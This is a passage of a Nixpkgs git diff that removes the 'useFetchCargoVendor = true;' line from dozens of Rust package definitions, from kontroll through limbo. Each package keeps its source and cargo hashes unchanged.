index a2113c918648..ac3e55bf5a66 100644
--- a/pkgs/by-name/ko/kontroll/package.nix
+++ b/pkgs/by-name/ko/kontroll/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-k7Twbjl8umk3PeIv3ivCLdhZFgTTV8WdfIAoGAD/pEk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-maryIYWZdDaGe9IC+hCSNH7IhZ6r7nWlD6ws5n1U6Xo=";
 
   nativeBuildInputs = [ protobuf ];
diff --git a/pkgs/by-name/ko/kord/package.nix b/pkgs/by-name/ko/kord/package.nix
index b25304679cbf..fbe93f41c7df 100644
--- a/pkgs/by-name/ko/kord/package.nix
+++ b/pkgs/by-name/ko/kord/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-CeMh6yB4fGoxtGLbkQe4OMMvBM0jesyP+8JtU5kCP84=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DpZsi2eIhuetHnLLYGAvv871mbPfAIUevqBLaV8ljGA=";
 
   patches = [
diff --git a/pkgs/by-name/ko/koto-ls/package.nix b/pkgs/by-name/ko/koto-ls/package.nix
index 63d1c16bbe2c..08b887b3e367 100644
--- a/pkgs/by-name/ko/koto-ls/package.nix
+++ b/pkgs/by-name/ko/koto-ls/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-4s+zWiI6Yxv1TB0drds27txnL0kE6RoqjRI36Clls6Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ewBAixbksI9ora5hBZR12lzxCPzxM2Cp6GvQz6hGCSY=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ko/koto/package.nix b/pkgs/by-name/ko/koto/package.nix
index 3d82d8b3682b..50a25b4abe30 100644
--- a/pkgs/by-name/ko/koto/package.nix
+++ b/pkgs/by-name/ko/koto/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-sFADZj0mBe8TQ2x6NeXLqvvXK13WhVGD2anGWoWrSZw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ok4rgqiQ7N5knXdb0Mfn3fYPPLXoRtOZVv8RvWR2h3k=";
 
   postPatch = ''
diff --git a/pkgs/by-name/kr/krabby/package.nix b/pkgs/by-name/kr/krabby/package.nix
index c347a934aee5..7a2e498d6e60 100644
--- a/pkgs/by-name/kr/krabby/package.nix
+++ b/pkgs/by-name/kr/krabby/package.nix
@@ -12,7 +12,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-UcvCIazuVoqYb4iz62MrOVtQli4EqzrEpg3imv3sXHY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aJBZtRs83KwnxlgNn/5zEGCw4YUl4mRcs1dFi2uaIrc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/kr/krankerl/package.nix b/pkgs/by-name/kr/krankerl/package.nix
index 03a78ec3eb71..bab61ea6b0c3 100644
--- a/pkgs/by-name/kr/krankerl/package.nix
+++ b/pkgs/by-name/kr/krankerl/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-fFtjQFkNB5vn9nlFJI6nRdqxB9PmOGl3ySZ5LG2tgPg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tu+PJeGm8u5TSuoPBhaO4k6PkmI9JduuLlaQjvBv05E=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/kr/krapslog/package.nix b/pkgs/by-name/kr/krapslog/package.nix
index ceef566a4169..bbe04f8dba1e 100644
--- a/pkgs/by-name/kr/krapslog/package.nix
+++ b/pkgs/by-name/kr/krapslog/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-wRziLNMwLZBCn330FNC9x6loCCyuC+31Kh51ZI/j1Cc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Mv0wTuTWCsBGjlr4BhLezBOCtgQ0qq2kwLcZxU1nREM=";
 
   buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/by-name/kr/krill/package.nix b/pkgs/by-name/kr/krill/package.nix
index 2cd92aa24622..beb032939ba5 100644
--- a/pkgs/by-name/kr/krill/package.nix
+++ b/pkgs/by-name/kr/krill/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U7uanUE/xdmXqtpvnG6b+oDKamNZkCH04OCy3Y5UIhQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PR8HoHroHp5nBbRwR8TZ5NeBH4eDXGV46HkDLeydmAk=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/kt/kty/package.nix b/pkgs/by-name/kt/kty/package.nix
index 0c1516e33c71..b236e3d0fdb4 100644
--- a/pkgs/by-name/kt/kty/package.nix
+++ b/pkgs/by-name/kt/kty/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     openssl
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nJ+nof2YhyLrNuLVy69kYj5tw+aG4IJm6nVxHkczbko=";
 
   meta = {
diff --git a/pkgs/by-name/ku/kubetui/package.nix b/pkgs/by-name/ku/kubetui/package.nix
index a88c47c290a4..3ef64e417810 100644
--- a/pkgs/by-name/ku/kubetui/package.nix
+++ b/pkgs/by-name/ku/kubetui/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     "--skip=workers::kube::store::tests::kubeconfigからstateを生成"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+O22eo2vj4WLbSQoUfGOOfp2a43j2RrVXvB7CmYRA1o=";
 
   meta = {
diff --git a/pkgs/by-name/ku/kubie/package.nix b/pkgs/by-name/ku/kubie/package.nix
index db9baac735bb..c96404ed33d0 100644
--- a/pkgs/by-name/ku/kubie/package.nix
+++ b/pkgs/by-name/ku/kubie/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-+sSooE0KJqvWFdR63qazOMmSS8dV7MirYZ+sk7BnGQ4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Yf8fAW65K7SLaRpvegjWBLVDV33sMGV+I1rqlWvx5Ss=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/kx/kx-aspe-cli/package.nix b/pkgs/by-name/kx/kx-aspe-cli/package.nix
index a3c686f5d0ed..cc96385d3a03 100644
--- a/pkgs/by-name/kx/kx-aspe-cli/package.nix
+++ b/pkgs/by-name/kx/kx-aspe-cli/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wOg81NvChOLPiCyhJ5dGn5sRskevpf0QdKwmgZa2/1s=";
 
   meta = {
diff --git a/pkgs/by-name/la/lact/package.nix b/pkgs/by-name/la/lact/package.nix
index 85a5c338e4c9..1d6799d9e127 100644
--- a/pkgs/by-name/la/lact/package.nix
+++ b/pkgs/by-name/la/lact/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-goNwLtVjNY3O/BhFrCcM3X11dtM34XgfHL6bh+YFoIY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rgpBmoGCNMU5nFVxzNtqsPaOn93mHW5P2isKgbP9UN4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/la/lalrpop/package.nix b/pkgs/by-name/la/lalrpop/package.nix
index 210049c4da98..72a5f765c9f3 100644
--- a/pkgs/by-name/la/lalrpop/package.nix
+++ b/pkgs/by-name/la/lalrpop/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RvKJ3PKOKJbY0/WBpUwbau9LyCzb/peD73Ey9stECeg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KqG8AqYK1sslZyqCMKesxuyy9+IenXW56edoxygKj4k=";
 
   patches = [
diff --git a/pkgs/by-name/la/lan-mouse/package.nix b/pkgs/by-name/la/lan-mouse/package.nix
index 529c4f98dbf0..cbc18165f481 100644
--- a/pkgs/by-name/la/lan-mouse/package.nix
+++ b/pkgs/by-name/la/lan-mouse/package.nix
@@ -47,7 +47,6 @@ rustPlatform.buildRustPackage rec {
     libXtst
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+UXRBYfbkb114mwDGj36oG5ZT3TQtcEzsbyZvtWTMxM=";
 
   postInstall = ''
diff --git a/pkgs/by-name/la/languagetool-rust/package.nix b/pkgs/by-name/la/languagetool-rust/package.nix
index a740365f7a5a..5daa7f6f0510 100644
--- a/pkgs/by-name/la/languagetool-rust/package.nix
+++ b/pkgs/by-name/la/languagetool-rust/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8YgSxAF4DA1r7ylj6rx+fGubvT7MeiRQeowuiu0GWwQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MIGoGEd/N2qlcawYRLMuac4SexHEMJnOS+FbPFJIsso=";
 
   buildFeatures = [ "full" ];
diff --git a/pkgs/by-name/la/lanzaboote-tool/package.nix b/pkgs/by-name/la/lanzaboote-tool/package.nix
index e6883bb8a15e..1ecd0975346e 100644
--- a/pkgs/by-name/la/lanzaboote-tool/package.nix
+++ b/pkgs/by-name/la/lanzaboote-tool/package.nix
@@ -20,7 +20,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   sourceRoot = "${src.name}/rust/tool";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-HnTsu46P3HRYo2d1DeaP6hqn+pVW3J4IM+CneckSFoM=";
 
   env.TEST_SYSTEMD = systemd;
diff --git a/pkgs/by-name/la/lapce/package.nix b/pkgs/by-name/la/lapce/package.nix
index ed189a4a0142..d4dead7d8214 100644
--- a/pkgs/by-name/la/lapce/package.nix
+++ b/pkgs/by-name/la/lapce/package.nix
@@ -43,7 +43,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-vBBYNHgZiW5JfGeUG6YZObf4oK0hHxTbsZNTfnIX95Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cgSr1GHQUF4ccVd9w3TT0+EI+lqQpDzfXHdRWr75eDE=";
 
   env = {
diff --git a/pkgs/by-name/la/laze/package.nix b/pkgs/by-name/la/laze/package.nix
index ed55df13eeb9..4624dabbda25 100644
--- a/pkgs/by-name/la/laze/package.nix
+++ b/pkgs/by-name/la/laze/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-/ACHYaAR9xtC7r5+bn1mXGr1eM3kV0L68+YMRIgxAsI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xiJz+JEF5feytwYgml+mfrarmLPntKbxCAQQvBnwAkI=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/la/lazycli/package.nix b/pkgs/by-name/la/lazycli/package.nix
index 8352f93ccfeb..8fe39e3d140e 100644
--- a/pkgs/by-name/la/lazycli/package.nix
+++ b/pkgs/by-name/la/lazycli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1qq167hc7pp9l0m40ysphfljakmm8hjjnhpldvb0kbc825h0z8z5";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L6qY1yu+8L7DajX//Yov0KgI2bR8yipSzbZC2c+LZZs=";
 
   checkFlags = [
diff --git a/pkgs/by-name/la/lazyjj/package.nix b/pkgs/by-name/la/lazyjj/package.nix
index 894d869c7958..47bb74dd9f36 100644
--- a/pkgs/by-name/la/lazyjj/package.nix
+++ b/pkgs/by-name/la/lazyjj/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Pz2q+uyr8r5G5Zs5mC/nvHdK6hTpiLBzjgUmvd5dwZw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-70xKyzRFMyAKhSwEsdNBK2afs0UpVoTvIXuQJgeqYY8=";
 
   postInstall = ''
diff --git a/pkgs/by-name/la/lazymc/package.nix b/pkgs/by-name/la/lazymc/package.nix
index 85ef9ddf9806..5a25e6bc3a1e 100644
--- a/pkgs/by-name/la/lazymc/package.nix
+++ b/pkgs/by-name/la/lazymc/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uMjM3w78qWnB/sNXRcxl30KJRm0I3BPEOr5IRU8FI0s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jqqqWZKO1HgwxLBGMz9rlFQ5xmZTycfUZjqHf+uVTBQ=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ld/ldproxy/package.nix b/pkgs/by-name/ld/ldproxy/package.nix
index a1816eccef18..8b7ba8b267f1 100644
--- a/pkgs/by-name/ld/ldproxy/package.nix
+++ b/pkgs/by-name/ld/ldproxy/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YH2CPb3uBlPncd+KkP25xhCVvDB7HDxJuSqWOJ1LT3k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/WBhgPyd5hR3DBYvV8pd7uZb6FeD3yiDe3wOKtyFRG8=";
 
   # However we are only interested in building the specific crate located at `/ldproxy`
diff --git a/pkgs/by-name/le/leaf/package.nix b/pkgs/by-name/le/leaf/package.nix
index 12181d2036ac..fbfe3189b3c2 100644
--- a/pkgs/by-name/le/leaf/package.nix
+++ b/pkgs/by-name/le/leaf/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-y0NO9YcOO7T7Cqc+/WeactwBAkeUqdCca87afOlO1Bk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RQ9fQfYfpsFAA5CzR3ICLIEYb00qzUsWAQKSrK/488g=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/le/leddy/package.nix b/pkgs/by-name/le/leddy/package.nix
index f46dafeba08f..2102d791a074 100644
--- a/pkgs/by-name/le/leddy/package.nix
+++ b/pkgs/by-name/le/leddy/package.nix
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage {
     rev = "fd259425980df17bd761006a1ccef93e23bfdad6";
     hash = "sha256-7t+E47odtayw26AnhtkxIWr0TxDwruEjP3Af3ajmVAA=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-ezl9/vKDPJNYH1U4H/7OtE0g3iWIS+tDapJDhaKT+l0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/le/leetcode-cli/package.nix b/pkgs/by-name/le/leetcode-cli/package.nix
index df6619838059..c8d9571aab70 100644
--- a/pkgs/by-name/le/leetcode-cli/package.nix
+++ b/pkgs/by-name/le/leetcode-cli/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AYBBW9VtdvqqqiouhkS3diPcOdaQOs8Htkw9DTRX2t4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o2RkhYsSQKwU+dsHQvlcxAVKUjOTqg424dqrM7JRoN8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/le/leftwm-config/package.nix b/pkgs/by-name/le/leftwm-config/package.nix
index 9f54248e6c95..daf8bce5f8cd 100644
--- a/pkgs/by-name/le/leftwm-config/package.nix
+++ b/pkgs/by-name/le/leftwm-config/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-wyb/26EyNyBJeTDUvnMxlMiQjaCGBES8t4VteNY1I/A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FiM51ZV61aCFWHyNIudQl1B7X5ov0SXyWIVE4am1Vmw=";
 
   meta = {
diff --git a/pkgs/by-name/le/leftwm-theme/package.nix b/pkgs/by-name/le/leftwm-theme/package.nix
index 10d5563819a4..6746dbc44c73 100644
--- a/pkgs/by-name/le/leftwm-theme/package.nix
+++ b/pkgs/by-name/le/leftwm-theme/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-cV4tY1qKNluSSGf+WwKFK3iVE7cMevafl6qQvhy1flE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v3PHMaXJCEBiCd+78b/BXRooZC4Py82gDcvA/efNJ7w=";
 
   checkFlags = [
diff --git a/pkgs/by-name/le/leftwm/package.nix b/pkgs/by-name/le/leftwm/package.nix
index 925242225d67..bd1a16e573d5 100644
--- a/pkgs/by-name/le/leftwm/package.nix
+++ b/pkgs/by-name/le/leftwm/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eH7HuGZnWlXigTaUAc4S00+uOIEVftnBOD8x03KJLaE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nFyhpCp8xsYjRl+2bqPfWzq31pM/yYcDuxkWEjjcqwA=";
 
   buildInputs = rpathLibs;
diff --git a/pkgs/by-name/le/legba/package.nix b/pkgs/by-name/le/legba/package.nix
index f6802c334951..fcc73320d18b 100644
--- a/pkgs/by-name/le/legba/package.nix
+++ b/pkgs/by-name/le/legba/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ioH/dy+d20p81iLLIcer+1fVib60TJ5Ezr6UlsL+F9g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eIgi6+f7ss/5AB3llEfrS75twejFzReS4i7fdbGWrCk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/le/lemmeknow/package.nix b/pkgs/by-name/le/lemmeknow/package.nix
index 516f15f75143..21ebd083eff1 100644
--- a/pkgs/by-name/le/lemmeknow/package.nix
+++ b/pkgs/by-name/le/lemmeknow/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Q82tP4xNWAooFjHeJCFmuULnWlFbgca/9Y2lm8rVXKs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-65PPIYfwVO8O4K8yr499vRQScpAREiBZ8O0rrDMCXB8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/le/lemmy-help/package.nix b/pkgs/by-name/le/lemmy-help/package.nix
index 5e4d0d09e11e..99e17a861fc8 100644
--- a/pkgs/by-name/le/lemmy-help/package.nix
+++ b/pkgs/by-name/le/lemmy-help/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   buildFeatures = [ "cli" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZuLbdsZadEkY5M4LoHBn6gnKYklVbXpRa60EocYUH+A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/le/lemurs/package.nix b/pkgs/by-name/le/lemurs/package.nix
index 1f61fc809df0..a5fd29a2234c 100644
--- a/pkgs/by-name/le/lemurs/package.nix
+++ b/pkgs/by-name/le/lemurs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dtAmgzsUhn3AfafWbCaaog0S1teIy+8eYtaHBhvLfLI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XoGtIHYCGXNuwnpDTU7NbZAs6rCO+69CAG89VCv9aAc=";
 
   buildInputs = [
diff --git a/pkgs/by-name/le/leptosfmt/package.nix b/pkgs/by-name/le/leptosfmt/package.nix
index 99e546aa1600..196bb3271cef 100644
--- a/pkgs/by-name/le/leptosfmt/package.nix
+++ b/pkgs/by-name/le/leptosfmt/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m9426zuxp9GfbYoljW49BVgetLTqqcqGHCb7I+Yw+bc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/le/lethe/package.nix b/pkgs/by-name/le/lethe/package.nix
index 182258015850..1b6835f8f836 100644
--- a/pkgs/by-name/le/lethe/package.nix
+++ b/pkgs/by-name/le/lethe/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-y2D/80pnpYpTl+q9COTQkvtj9lzBlOWuMcnn5WFnX8E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ky39RpLoYks4xDiheSsrUj3l/ZrGcY+y5IuDZ28pH/c=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/li/liana/package.nix b/pkgs/by-name/li/liana/package.nix
index cf0c15e1cd87..47d1b765ec07 100644
--- a/pkgs/by-name/li/liana/package.nix
+++ b/pkgs/by-name/li/liana/package.nix
@@ -48,7 +48,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nuwbJxpcapk01qwGAZ2z9nKjHNqE1BMikz3hWrCAGsA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tODnld6V2KWarfHXyoPjSGw+q1A/dalPtW3Swc2dNes=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/li/lianad/package.nix b/pkgs/by-name/li/lianad/package.nix
index a22b73bb4982..e3b4f7353218 100644
--- a/pkgs/by-name/li/lianad/package.nix
+++ b/pkgs/by-name/li/lianad/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nuwbJxpcapk01qwGAZ2z9nKjHNqE1BMikz3hWrCAGsA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tODnld6V2KWarfHXyoPjSGw+q1A/dalPtW3Swc2dNes=";
 
   buildInputs = [ udev ];
diff --git a/pkgs/by-name/li/libetebase/package.nix b/pkgs/by-name/li/libetebase/package.nix
index 7e96c533262a..3f1782624d9c 100644
--- a/pkgs/by-name/li/libetebase/package.nix
+++ b/pkgs/by-name/li/libetebase/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sqvfzXHqVeiw+VKWPtCYv0USNpbfBE7ILUiqXZtLmgI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-z3ho6hTWC6aaWTpG9huhymx2og6xQq+/r+kgiJygC9w=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/li/libloot/package.nix b/pkgs/by-name/li/libloot/package.nix
index 905172dec85f..24c2681bb971 100644
--- a/pkgs/by-name/li/libloot/package.nix
+++ b/pkgs/by-name/li/libloot/package.nix
@@ -146,7 +146,6 @@ stdenv.mkDerivation (finalAttrs: {
         hash = "sha256-/8WOEt9dxKFTTZbhf5nt81jo/yHuALPxh/IwAOehi9w=";
       };
 
-      useFetchCargoVendor = true;
       cargoHash = "sha256-re/cKqf/CAD7feNIEuou4ZP8BNkArd5CvREx1610jig=";
 
       lang = "c++";
@@ -164,7 +163,6 @@ stdenv.mkDerivation (finalAttrs: {
         hash = "sha256-ygjSyixg+9HFFNV/G+w+TxGFTrjlWxlDt8phpCE8xyQ=";
       };
 
-      useFetchCargoVendor = true;
       cargoHash = "sha256-6sY2M7kjSYB3+6+zoMxPwdl+g7ARLHm9RdSODHQR8bE=";
 
       lang = "c++";
@@ -182,7 +180,6 @@ stdenv.mkDerivation (finalAttrs: {
         hash = "sha256-MvadQ4cWpzNgF/lUW5Jb758DvfRPGZ7s1W4MbO7nbIw=";
       };
 
-      useFetchCargoVendor = true;
       cargoHash = "sha256-m/vRnAJyMQOosxnjSUgHIY1RCkdB5+HFVqqzYVEpgOI=";
 
       lang = "c";
diff --git a/pkgs/by-name/li/librashader/package.nix b/pkgs/by-name/li/librashader/package.nix
index 2391bc0074ba..5a6c5b0be987 100644
--- a/pkgs/by-name/li/librashader/package.nix
+++ b/pkgs/by-name/li/librashader/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     ./patches/fix-optional-dep-syntax.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9rwrbCt/obrKlRDWzzc1hm6ywHubz5x6Ujm2JMso0vg=";
 
   RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index e3096d8360a6..72ae4fab3fdb 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -40,7 +40,6 @@ rustPlatform.buildRustPackage rec {
   env.BORING_BSSL_PATH = "${boringssl-wrapper}";
   env.NIX_LDFLAGS = if stdenv.hostPlatform.isDarwin then "-lc++" else "-lstdc++";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9W7u0fZgU0J03hT6D4BJPpIKn3dwf9yckJiwwNkyqUA=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/li/license-cli/package.nix b/pkgs/by-name/li/license-cli/package.nix
index 05a28999d4bd..2c3f5e0b1ddf 100644
--- a/pkgs/by-name/li/license-cli/package.nix
+++ b/pkgs/by-name/li/license-cli/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OGS26mE5rjxlZOaBWhYc7C8aM3Lq2xX0f31LgckjJF8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Jvg3XndPyQ9TYejJaO7GAI9RwLAOWB0uapA+6WIKAkI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/li/license-generator/package.nix b/pkgs/by-name/li/license-generator/package.nix
index 080be50b2837..3e47ff377c04 100644
--- a/pkgs/by-name/li/license-generator/package.nix
+++ b/pkgs/by-name/li/license-generator/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jp7NQfDh512oThZbLj0NbqcH7rxV2R0kDv1wsiTNf/M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GP1Xr+M7mDXFB1fVdTq3VPPQR9QU43iQlJNW9MqcLB0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/li/licensure/package.nix b/pkgs/by-name/li/licensure/package.nix
index 01d404151dbb..bffc0f609bf2 100644
--- a/pkgs/by-name/li/licensure/package.nix
+++ b/pkgs/by-name/li/licensure/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3kZzYDKMLRdYzxa9+wVeTFJk186MJZfGfzRXgY9tI4Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b3Vb8beULbLQuBORcE5nWuHkqDmalexJick9Ct5+iUM=";
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [
diff --git a/pkgs/by-name/li/lightdm-mobile-greeter/package.nix b/pkgs/by-name/li/lightdm-mobile-greeter/package.nix
index 1d2942906bdb..3ac1eec18e32 100644
--- a/pkgs/by-name/li/lightdm-mobile-greeter/package.nix
+++ b/pkgs/by-name/li/lightdm-mobile-greeter/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-SrAR2+An3BN/doFl/s8PcYZMUHLfVPXKZOo6ndO60nY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9beOnuyzr1vC511il3Yjy9OVcQ0ZP9RQ88eCzx3xLsA=";
 
   buildInputs = [
diff --git a/pkgs/by-name/li/lighthouse-steamvr/package.nix b/pkgs/by-name/li/lighthouse-steamvr/package.nix
index 775a22a16c3f..29c68e40dfc0 100644
--- a/pkgs/by-name/li/lighthouse-steamvr/package.nix
+++ b/pkgs/by-name/li/lighthouse-steamvr/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FiS+jB5l5xtFIVISA6+K/jbyJZFPwLvy7G+dA+78kZU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5IrY1ohG5oJF+LvrcHrHYT2nslICQPZptJYrrwMEmwQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/li/lighthouse/package.nix b/pkgs/by-name/li/lighthouse/package.nix
index caeace35d0c6..f5dff74271eb 100644
--- a/pkgs/by-name/li/lighthouse/package.nix
+++ b/pkgs/by-name/li/lighthouse/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
   ];
 
   cargoHash = "sha256-Opkz3EVKw0M4LeWMsn1NlSw/Fg7cWVqnDJRRTPYYlLo=";
-  useFetchCargoVendor = true;
 
   buildFeatures = [
     "modern"
diff --git a/pkgs/by-name/li/lightningcss/package.nix b/pkgs/by-name/li/lightningcss/package.nix
index 4a25ccd17c61..48771b572dbc 100644
--- a/pkgs/by-name/li/lightningcss/package.nix
+++ b/pkgs/by-name/li/lightningcss/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vFOQrrTaKM6UcpdgJqj89P7ojCowg7MyK8Wam2hmLXg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aNho9NavEgY4dwGcNXsLDnlVCB2rODIPae3LnfOwJIA=";
 
   patches = [
diff --git a/pkgs/by-name/li/limbo/package.nix b/pkgs/by-name/li/limbo/package.nix
index a1d99b72d58e..306962ff40dc 100644
--- a/pkgs/by-name/li/limbo/package.nix
+++ b/pkgs/by-name/li/limbo/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-t3bIW+HuuZzj3NOw2lnTZw9qxj7lGWtR8RbZF0rVbQ4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DDUl/jojhDmSQY7iI/Dn+Lg4eNuNhj8jyakPtgg4d2k=";
 
   cargoBuildFlags = [
